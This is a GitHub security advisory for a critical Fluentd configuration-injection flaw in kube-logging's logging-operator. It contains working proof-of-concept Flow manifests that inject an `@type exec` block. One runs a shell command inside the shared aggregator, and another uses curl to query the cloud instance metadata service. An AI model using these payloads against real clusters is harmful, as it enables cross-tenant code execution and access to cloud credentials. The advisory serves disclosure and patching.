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Logging operator has Fluentd configuration injection that allows remote code execution

Critical severity GitHub Reviewed Published Jun 8, 2026 in kube-logging/logging-operator

Package

gomod github.com/kube-logging/logging-operator (Go)

Affected versions

< 0.0.0-20260608145523-cf437d7f1e05

Patched versions

0.0.0-20260608145523-cf437d7f1e05

Description

Summary

The Fluentd configuration renderer in Logging operator writes strings from CRDs such as Flow directly into fluent.conf without escaping them. As a result, a user who can create Flow resources can inject Fluentd configuration by providing values that contain newlines.

In the confirmed path, a value in record_transformer.records can close the current <record> / <filter> block and add a new <match **> block. By specifying Fluentd's core @type exec plugin in that injected block, an attacker can execute arbitrary commands inside the Fluentd aggregator.

Details

The issue is in FluentRender in pkg/sdk/logging/model/render/fluent.go.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/render/fluent.go#L60-L87

Each parameter is rendered as key value, but values are not quoted, and newlines or characters such as < and > are not rejected. In addition, indentedf builds the string with fmt.Sprintf and then splits it on \n, so newlines inside CRD values become new lines in the generated Fluentd configuration.

One input source is record_transformer.records. ToDirective passes Record (map[string]string) into Params without validation or escaping.

https://github.com/kube-logging/logging-operator/blob/98275d2984aa8d731c4c975b8006aa433fc7bafa/pkg/sdk/logging/model/filter/record_transformer.go#L92-L103

The config check in pkg/resources/fluentd/appconfigmap.go runs fluentd -c ... --dry-run, but it passes as long as the injected configuration is syntactically valid Fluentd configuration. @type exec is a core Fluentd plugin and is available in the official Fluentd image.

PoC

The prerequisite is that Logging operator is running with a Fluentd aggregator configuration and that the attacker can create Flow and Output resources in a watched namespace, for example tenant-a.

First, create a minimal Output as the log destination.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Output
metadata:
  name: sink
  namespace: tenant-a
spec:
  nullout: {}

Next, create a Flow whose record_transformer.records value contains an injected @type exec block.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: exfil
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "id > /tmp/pwned"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

After applying the manifests, the Fluentd configuration Secret generated by the operator contains @type exec.

kubectl apply -f output.yaml -f flow.yaml

kubectl -n <control-namespace> get secret <logging>-fluentd-app \
  -o go-template='{{ index .data "fluentd.conf" }}' \
  | base64 -d | grep -A8 '@type exec'

When any Pod in tenant-a emits logs, those logs flow into the injected <match **> block. When out_exec flushes its buffer, the command is executed and can be confirmed as follows.

kubectl -n <control-namespace> exec <fluentd-aggregator-pod> -- cat /tmp/pwned
# expected:
uid=100(fluent) gid=101(fluent) groups=101(fluent)

Impact

This is remote code execution (RCE) against the Fluentd aggregator managed by Logging operator.
Because the Fluentd aggregator collects and routes logs for namespaces / tenants in the Logging domain, a user who can create Flow / Output resources in one namespace can execute arbitrary commands inside the shared aggregator.

In environments such as AWS EKS, the Fluentd Pod may be able to reach the node's Instance Metadata Service (IMDS). This was confirmed on EKS 1.35. The core issue is arbitrary command execution, so the same class of attack is possible even when IMDSv2 is required. The following Flow example uses IMDSv1 only to make reachability easy to demonstrate.

apiVersion: logging.banzaicloud.io/v1beta1
kind: Flow
metadata:
  name: imds-poc
  namespace: tenant-a
spec:
  match:
    - select: {}
  filters:
    - record_transformer:
        records:
          - x: |-
              y
              </record>
              </filter>
              <match **>
                @type exec
                command /bin/sh -c "curl -sS http://169.254.169.254/latest/meta-data/instance-id -o /tmp/imds-poc"
                <format>
                  @type json
                </format>
                <buffer>
                  flush_interval 1s
                </buffer>
              </match>
              <filter dummy.**>
                @type record_transformer
                <record>
                  absorbed y
  localOutputRefs:
    - sink

References

@csatib02 csatib02 published to kube-logging/logging-operator Jun 8, 2026
Published to the GitHub Advisory Database Jul 29, 2026
Reviewed Jul 29, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-54680

GHSA ID

GHSA-mjqf-28ph-426h

Credits

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